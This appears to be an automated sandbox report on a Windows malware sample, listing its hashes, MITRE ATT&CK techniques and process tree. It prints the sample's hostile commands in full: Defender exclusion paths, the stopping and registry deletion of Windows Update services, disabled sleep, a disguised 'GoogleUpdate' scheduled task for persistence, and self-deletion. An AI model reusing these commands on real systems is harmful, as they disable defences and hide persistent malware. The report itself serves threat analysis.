d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce

Analysis

max time kernel
43s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
13/12/2022, 17:24

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General

Target

d0525e69e54066d5b3764acefd16a754.exe
Size

3.6MB
MD5

d0525e69e54066d5b3764acefd16a754
SHA1

513304e7eca83acedad4655a135a6f4c2c1f4aed
SHA256

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce
SHA512

b958797b913b1860daa2cdf4f6741835042e170fea4c4b5f3ae61432a9e24054dbcd40dbc4871d19b12d3f40d90523490caa37e6152d66850c05f18b7d738f03
SSDEEP

98304:vKNU8zvQiW+xPSCcgu3ebV6GDRjar2H2wKr3:avhWXrycG1jamKr3

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 1896 created 1268	1896	d0525e69e54066d5b3764acefd16a754.exe	14
PID 1896 created 1268	1896	d0525e69e54066d5b3764acefd16a754.exe	14
PID 1896 created 1268	1896	d0525e69e54066d5b3764acefd16a754.exe	14
PID 1896 created 1268	1896	d0525e69e54066d5b3764acefd16a754.exe	14
PID 1896 created 1268	1896	d0525e69e54066d5b3764acefd16a754.exe	14

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	d0525e69e54066d5b3764acefd16a754.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
1172	cmd.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1588	sc.exe
1020	sc.exe
1564	sc.exe
1352	sc.exe
268	sc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
772	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1896	d0525e69e54066d5b3764acefd16a754.exe
1896	d0525e69e54066d5b3764acefd16a754.exe
2044	powershell.exe
1896	d0525e69e54066d5b3764acefd16a754.exe
1896	d0525e69e54066d5b3764acefd16a754.exe
1896	d0525e69e54066d5b3764acefd16a754.exe
1896	d0525e69e54066d5b3764acefd16a754.exe
1896	d0525e69e54066d5b3764acefd16a754.exe
1896	d0525e69e54066d5b3764acefd16a754.exe
1744	powershell.exe
1896	d0525e69e54066d5b3764acefd16a754.exe
1896	d0525e69e54066d5b3764acefd16a754.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeShutdownPrivilege	1772	powercfg.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeShutdownPrivilege	920	powercfg.exe
Token: SeShutdownPrivilege	1792	powercfg.exe
Token: SeShutdownPrivilege	1120	powercfg.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 1504 wrote to memory of 1352	1504	cmd.exe	36
PID 1504 wrote to memory of 1352	1504	cmd.exe	36
PID 1504 wrote to memory of 1352	1504	cmd.exe	36
PID 1472 wrote to memory of 1772	1472	cmd.exe	35
PID 1472 wrote to memory of 1772	1472	cmd.exe	35
PID 1472 wrote to memory of 1772	1472	cmd.exe	35
PID 1504 wrote to memory of 268	1504	cmd.exe	37
PID 1504 wrote to memory of 268	1504	cmd.exe	37
PID 1504 wrote to memory of 268	1504	cmd.exe	37
PID 1472 wrote to memory of 920	1472	cmd.exe	38
PID 1472 wrote to memory of 920	1472	cmd.exe	38
PID 1472 wrote to memory of 920	1472	cmd.exe	38
PID 1504 wrote to memory of 1588	1504	cmd.exe	39
PID 1504 wrote to memory of 1588	1504	cmd.exe	39
PID 1504 wrote to memory of 1588	1504	cmd.exe	39
PID 1504 wrote to memory of 1020	1504	cmd.exe	40
PID 1504 wrote to memory of 1020	1504	cmd.exe	40
PID 1504 wrote to memory of 1020	1504	cmd.exe	40
PID 1472 wrote to memory of 1792	1472	cmd.exe	41
PID 1472 wrote to memory of 1792	1472	cmd.exe	41
PID 1472 wrote to memory of 1792	1472	cmd.exe	41
PID 1472 wrote to memory of 1120	1472	cmd.exe	42
PID 1472 wrote to memory of 1120	1472	cmd.exe	42
PID 1472 wrote to memory of 1120	1472	cmd.exe	42
PID 1504 wrote to memory of 1564	1504	cmd.exe	43
PID 1504 wrote to memory of 1564	1504	cmd.exe	43
PID 1504 wrote to memory of 1564	1504	cmd.exe	43
PID 1744 wrote to memory of 772	1744	powershell.exe	44
PID 1744 wrote to memory of 772	1744	powershell.exe	44
PID 1744 wrote to memory of 772	1744	powershell.exe	44
PID 1504 wrote to memory of 1072	1504	cmd.exe	45
PID 1504 wrote to memory of 1072	1504	cmd.exe	45
PID 1504 wrote to memory of 1072	1504	cmd.exe	45
PID 1504 wrote to memory of 844	1504	cmd.exe	46
PID 1504 wrote to memory of 844	1504	cmd.exe	46
PID 1504 wrote to memory of 844	1504	cmd.exe	46
PID 1504 wrote to memory of 1388	1504	cmd.exe	47
PID 1504 wrote to memory of 1388	1504	cmd.exe	47
PID 1504 wrote to memory of 1388	1504	cmd.exe	47
PID 1504 wrote to memory of 1068	1504	cmd.exe	48
PID 1504 wrote to memory of 1068	1504	cmd.exe	48
PID 1504 wrote to memory of 1068	1504	cmd.exe	48
PID 1504 wrote to memory of 1036	1504	cmd.exe	49
PID 1504 wrote to memory of 1036	1504	cmd.exe	49
PID 1504 wrote to memory of 1036	1504	cmd.exe	49
PID 1172 wrote to memory of 1484	1172	cmd.exe	52
PID 1172 wrote to memory of 1484	1172	cmd.exe	52
PID 1172 wrote to memory of 1484	1172	cmd.exe	52

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1268
- C:\Users\Admin\AppData\Local\Temp\d0525e69e54066d5b3764acefd16a754.exe
  "C:\Users\Admin\AppData\Local\Temp\d0525e69e54066d5b3764acefd16a754.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2044
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1352
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:268
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1588
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1020
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1564
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1072
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:844
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1388
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1068
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1036
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1772
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:920
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1792
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uwjcnslmt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr 'C:\Users\Admin\Google\Chrome\updater.exe'
    3⤵
    - Creates scheduled task(s)
    PID:772
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\d0525e69e54066d5b3764acefd16a754.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1484

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
751e8c797293b43e07fd340295036231

SHA1
8a3c989aa15d0aa3a9b7c048cbe098ebf6c715fb

SHA256
274b884114324cd143cf28e347a7808d187fa4427a3fb8a71aec342717421a39

SHA512
8e67d0952fec4cc1ecb0271b84df6fe6d1b5518e254585551362e609cb313c57b8f810db673e7d14eb7bde375442530eecd281ff91f9c1c8b5968958110a8639

Download Submit
memory/1744-74-0x0000000002684000-0x0000000002687000-memory.dmp

Filesize
12KB

Download
memory/1744-75-0x000000000268B000-0x00000000026AA000-memory.dmp

Filesize
124KB

Download
memory/1744-68-0x000007FEF2D30000-0x000007FEF388D000-memory.dmp

Filesize
11.4MB

Download
memory/1744-81-0x000000000268B000-0x00000000026AA000-memory.dmp

Filesize
124KB

Download
memory/1744-65-0x000007FEF3890000-0x000007FEF42B3000-memory.dmp

Filesize
10.1MB

Download
memory/2044-59-0x0000000001F9B000-0x0000000001FBA000-memory.dmp

Filesize
124KB

Download
memory/2044-54-0x000007FEFBDB1000-0x000007FEFBDB3000-memory.dmp

Filesize
8KB

Download
memory/2044-58-0x0000000001F94000-0x0000000001F97000-memory.dmp

Filesize
12KB

Download
memory/2044-56-0x000007FEF36D0000-0x000007FEF422D000-memory.dmp

Filesize
11.4MB

Download
memory/2044-57-0x0000000001F94000-0x0000000001F97000-memory.dmp

Filesize
12KB

Download
memory/2044-55-0x000007FEF4230000-0x000007FEF4C53000-memory.dmp

Filesize
10.1MB

Download